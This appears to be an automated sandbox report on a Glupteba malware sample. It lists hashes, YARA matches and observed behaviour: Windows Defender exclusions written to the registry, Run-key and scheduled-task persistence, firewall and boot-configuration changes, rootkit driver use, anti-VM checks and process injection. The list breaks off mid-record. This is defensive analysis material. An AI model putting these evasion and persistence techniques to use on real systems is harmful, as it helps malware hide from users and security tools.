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Analysis
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max time kernel
150s -
max time network
155s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
11/06/2024, 21:14
Static task
static1
Behavioral task
behavioral1
Sample
9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe
Resource
win7-20240508-en
General
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Target
9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe
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Size
3.9MB
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MD5
9f8a475abce8ee5d836319045b20b65d
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SHA1
89eeee314fd0f4a1bb48a24ed37cb985897660f3
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SHA256
807457fd6828a6c089bfe1808dd9b21c3820fad6e54e18b517cb0bbd38abc42a
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SHA512
1f4426cbd2b441e9ae1e1c0f473a97a71b8d1a4eac47743a26c2d7fa64441e59aeb5d9c88c9362a0a7f63a11ffd2a2713f2a3818ce46af3982df3289051f720c
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SSDEEP
98304:IzkDz5Z5gxwn2hPMW35eQ7Cr56fWHd2JID4VV2iwbZ:+kDb5gaOj35u6fWHd2JIqV5QZ
Malware Config
Signatures
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Glupteba payload 35 IoCs
resource yara_rule behavioral1/memory/1728-2-0x00000000029C0000-0x00000000030B5000-memory.dmp family_glupteba behavioral1/memory/2120-7-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/2120-12-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/2120-10-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/2120-8-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/2120-5-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/2120-9-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/2120-13-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/2120-14-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/2508-29-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/2508-31-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/2508-28-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/2508-27-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/2508-32-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/2508-47-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/1664-55-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/1664-56-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/1664-54-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/1664-57-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/1664-58-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/1664-60-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/1664-61-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/1664-82-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/1664-94-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/1664-102-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/1664-103-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/1664-105-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/1664-106-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/1664-107-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/1664-108-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/1664-109-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/1664-110-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/1664-111-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/1664-112-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba behavioral1/memory/1664-113-0x0000000000400000-0x0000000000B0F000-memory.dmp family_glupteba -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\94ed0aed9f65\94ed0aed9f65 = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\DampDew = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\94ed0aed9f65.exe = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe -
Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 2256 netsh.exe -
Executes dropped EXE 3 IoCs
pid Process 2836 csrss.exe 1664 csrss.exe 2348 patch.exe -
Loads dropped DLL 11 IoCs
pid Process 2508 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 2508 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 876 Process not Found 2348 patch.exe 2348 patch.exe 2348 patch.exe 2348 patch.exe 2348 patch.exe 2348 patch.exe 2348 patch.exe 2348 patch.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\94ed0aed9f65\94ed0aed9f65 = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\DampDew = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\94ed0aed9f65.exe = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\DampDew = "\"C:\\Windows\\rss\\csrss.exe\"" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
description ioc Process File opened for modification \??\WinMonFS csrss.exe -
Modifies boot configuration data using bcdedit 1 IoCs
pid Process 1032 bcdedit.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1728 set thread context of 2120 1728 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 28 PID 804 set thread context of 2508 804 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 34 PID 2836 set thread context of 1664 2836 csrss.exe 39 -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
description ioc Process File opened (read-only) \??\VBoxMiniRdrDN 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe -
Drops file in Windows directory 3 IoCs
description ioc Process File opened for modification C:\Windows\rss 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe File created C:\Windows\rss\csrss.exe 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe File created C:\Windows\Logs\CBS\CbsPersist_20240611211505.cab makecab.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2180 schtasks.exe 1556 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2120 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 2508 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 1664 csrss.exe 1664 csrss.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2120 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Token: SeImpersonatePrivilege 2120 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe Token: SeSystemEnvironmentPrivilege 1664 csrss.exe -
Suspicious use of WriteProcessMemory 48 IoCs
description pid Process procid_target PID 1728 wrote to memory of 2120 1728 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 28 PID 1728 wrote to memory of 2120 1728 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 28 PID 1728 wrote to memory of 2120 1728 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 28 PID 1728 wrote to memory of 2120 1728 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 28 PID 1728 wrote to memory of 2120 1728 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 28 PID 1728 wrote to memory of 2120 1728 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 28 PID 1728 wrote to memory of 2120 1728 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 28 PID 1728 wrote to memory of 2120 1728 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 28 PID 1728 wrote to memory of 2120 1728 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 28 PID 1728 wrote to memory of 2120 1728 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 28 PID 1728 wrote to memory of 2120 1728 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 28 PID 804 wrote to memory of 2508 804 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 34 PID 804 wrote to memory of 2508 804 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 34 PID 804 wrote to memory of 2508 804 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 34 PID 804 wrote to memory of 2508 804 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 34 PID 804 wrote to memory of 2508 804 